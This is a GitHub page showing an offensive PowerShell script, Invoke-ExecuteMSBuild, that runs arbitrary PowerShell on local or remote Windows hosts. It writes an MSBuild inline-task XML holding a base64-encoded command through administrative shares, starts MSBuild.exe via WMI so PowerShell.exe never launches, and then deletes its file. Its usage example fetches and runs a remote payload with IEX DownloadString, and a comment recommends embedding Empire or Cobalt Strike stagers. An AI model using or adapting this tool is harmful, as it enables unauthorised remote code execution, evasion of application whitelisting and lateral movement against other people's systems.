-
Notifications
You must be signed in to change notification settings - Fork 86
/
Invoke-ExecuteMSBuild.ps1
312 lines (256 loc) · 10.4 KB
/
Invoke-ExecuteMSBuild.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
function Invoke-ExecuteMSBuild
{
<#
.SYNOPSIS
Executes a powershell command on a local/remote host by utilizing MSBuild.
Author: Christopher Ross (@xorrior)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function executes a powershell command on a local/remote host using MSBuild and an inline task. If credentials are provided, the default administrative share is mounted locally.
The xml file is copied to the specified path through the share. If credentials are not provided for a remote host, the xml file is copied using the default administrative share. If the Command
parameter is omitted, the embedded powershell command will be used. This command will be executed in the context of the MSBuild.exe process without starting PowerShell.exe.
.PARAMETER ComputerName
The IP address or host name to target. If omitted, all commands will be executed on localhost.
.PARAMETER UserName
UserName to utilize for all Wmi commands on the remote host.
.PARAMETER Password
Password to utilize for all Wmi commands on the remote host.
.PARAMETER FilePath
The desired location to copy the xml file on the target.
.PARAMETER DriveLetter
The drive letter to use when mounting the share locally.
.PARAMETER Command
The PowerShell command to execute on the target.
.EXAMPLE
Invoke-ExecuteMSBuild -ComputerName 'testvm.test.org' -UserName 'Test.org\Joe' -Password 'Password123!'
Execute the embedded powershell command on the specified hostname, with the specified credentials
.EXAMPLE
Invoke-ExecuteMSBuild -ComputerName 'testvm.test.org' -Command "IEX (New-Object net.webclient).DownloadString('http://www.getyourpowershellhere.com/payload')"
Execute the specified powershell command on testvm.test.org in the current user context
.EXAMPLE
Invoke-ExecuteMSBuild
Execute the embedded powershell command on localhost
.OUTPUTS
ManagementBaseObject
#>
[CmdletBinding()]
param
(
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(ParameterSetName = "Credentials")]
[ValidateNotNullOrEmpty()]
[string]$UserName,
[Parameter(ParameterSetName = "Credentials")]
[ValidateNotNullOrEmpty()]
[string]$Password,
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$FilePath = "C:\Windows\Tasks\pshell.xml",
[Parameter()]
[ValidateNotNullOrEmpty()]
[ValidatePattern("[a-zA-Z]:")]
[string]$DriveLetter = "T:",
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$Command
)
$commonArgs = @{}
$WmiArgs = @{}
function Invoke-ExecuteMSBuildHelper {
Write-Verbose "[+]Executing MSBuild with xml...."
$WmiArgs = @{
Namespace = 'root/CIMV2'
Class = 'Win32_Process'
Name = 'Create'
}
$cmd = "$MSBuildPath $FilePath"
$WmiArgs['ArgumentList'] = $cmd
$result = Invoke-WmiMethod @WmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Verbose "Unable to execute $cmd with error code: $($result.ReturnValue)"
}
$result
}
$InlineTask = @"
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
string encCommand = "ENCCOMMAND";
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke rInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Decode the base64 encoded command
byte[] data = Convert.FromBase64String(encCommand);
string command = Encoding.ASCII.GetString(data);
pipeline.Commands.AddScript(command);
pipeline.Invoke();
runspace.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
"@
#When omitting the Command paramter, place your embedded command here. Ideal for Empire stagers, Cobalt Strike PowerShell payloads, etc.
$embeddedCommand = @"
"@
#If the Username and Password are specified, add the ComputerName and PSCredential object to commonArgs for later use.
if (($PSBoundParameters['ComputerName'])) {
$commonArgs['ComputerName'] = $ComputerName
if ($PSCmdlet.ParameterSetName -eq "Credentials") {
$MountShare = $True
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($UserName, $SecurePassword)
$commonArgs['Credential'] = $Credential
}
}
if ( -not $PSBoundParameters['Command']) {
Write-Verbose "[+]Command parameter not used, using embedded command...."
$Command = $embeddedCommand
}
#Encode our payload to store in the xml file
Write-Verbose "[+]Crafting the xml file....."
$enc = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($Command))
$InlineTask = $InlineTask.Replace('ENCCOMMAND',$enc)
#Get the msbuild path
#HKLM
Write-Verbose "[+]Enumerating the MSBuildTools path...."
$HiveVal = [UInt32]2147483650
$sSubKeyName = 'SOFTWARE\Microsoft\MSBuild\ToolsVersions\4.0'
$WmiArgs = @{
Namespace = 'root/DEFAULT'
Class = 'StdRegProv'
Name = 'EnumKey'
ArgumentList = $HiveVal, $sSubKeyName
}
if ((Invoke-WmiMethod @WmiArgs @commonArgs).ReturnValue -eq 0) {
$sValueName = 'MSBuildToolsPath'
$WmiArgs['Name'] = 'GetStringValue'
$WmiArgs['ArgumentList'] = $HiveVal,$sSubKeyName,$sValueName
$result = Invoke-WmiMethod @WmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Error "Unable to obtain MSBuild location from the registry"
break
}
$MSBuildPath = "$($result.sValue)MSBuild.exe"
}
else {
Write-Error "Unable to enumerate MSBuildTools registry key"
break
}
#Get the default drive of the target system. If it does not match the drive in FilePath, correct it.
$WmiArgs = @{
Namespace = 'root/CIMV2'
Class = 'Win32_OperatingSystem'
}
Write-Verbose "[+]Enumerating the default system drive......"
$SystemDirectory = (Get-WmiObject @WmiArgs @commonArgs).SystemDirectory
$DefaultDrive = $SystemDirectory.Split('\')[0]
if ($DefaultDrive -ne $($FilePath.Split('\')[0])) {
$FilePath = "$DefaultDrive$($FilePath.Split(':')[1])"
}
if ($MountShare) {
#Mount the Default Administrative share locally
$Network = New-Object -ComObject Wscript.Network
try {
$sharePath = "\\$ComputerName\$($DefaultDrive.Replace(':','$'))"
$Network.MapNetworkDrive($DriveLetter,$sharePath,$false,$Credential.GetNetworkCredential().UserName,$Credential.GetNetworkCredential().Password)
$InlineTask | Out-File -FilePath "$DriveLetter$($FilePath.Split(':')[1])" -Encoding ascii
}
catch [System.Exception] {
#if we can't map the new share locally, remove it and exit
Write-Error $_
$null = $Network.RemoveNetworkDrive($DriveLetter,$True,$True)
break
}
Invoke-ExecuteMSBuildHelper
#Cleanup our xml file and remove the share.
Start-Sleep -Seconds 10
Remove-Item "$DriveLetter\$($FilePath.Split(':')[1])"
$Network.RemoveNetworkDrive($DriveLetter,$True,$True)
}
elseif ($commonArgs['ComputerName']) {
#When omitting credentials when specifying a ComputerName, it's assumed that the current user context has administrative privileges on the target.
#Therefore we can just write the file on the target using the C$ administrative share.
Write-Verbose "[+]UserName and Password parameters were not used. Copying the xml file using the C$ Default Share on $ComputerName"
$RemotePath = "\\$ComputerName\$($FilePath.Replace(':','$'))"
try {
$InlineTask | Out-File -Encoding ascii $RemotePath
}
catch [System.Exception] {
Write-Error $_
break
}
Invoke-ExecuteMSBuildHelper
#Cleanup our xml file.
Start-Sleep -Seconds 10
Remove-Item $RemotePath
}
else {
#Write our XML file locally
Write-Verbose "[+]Writing the file locally to $FilePath"
try {
$InlineTask | Out-File -Encoding ascii $FilePath
}
catch [System.Exception] {
Write-Error $_
break
}
Invoke-ExecuteMSBuildHelper
Start-Sleep -Seconds 10
Remove-Item $FilePath -Force
}
}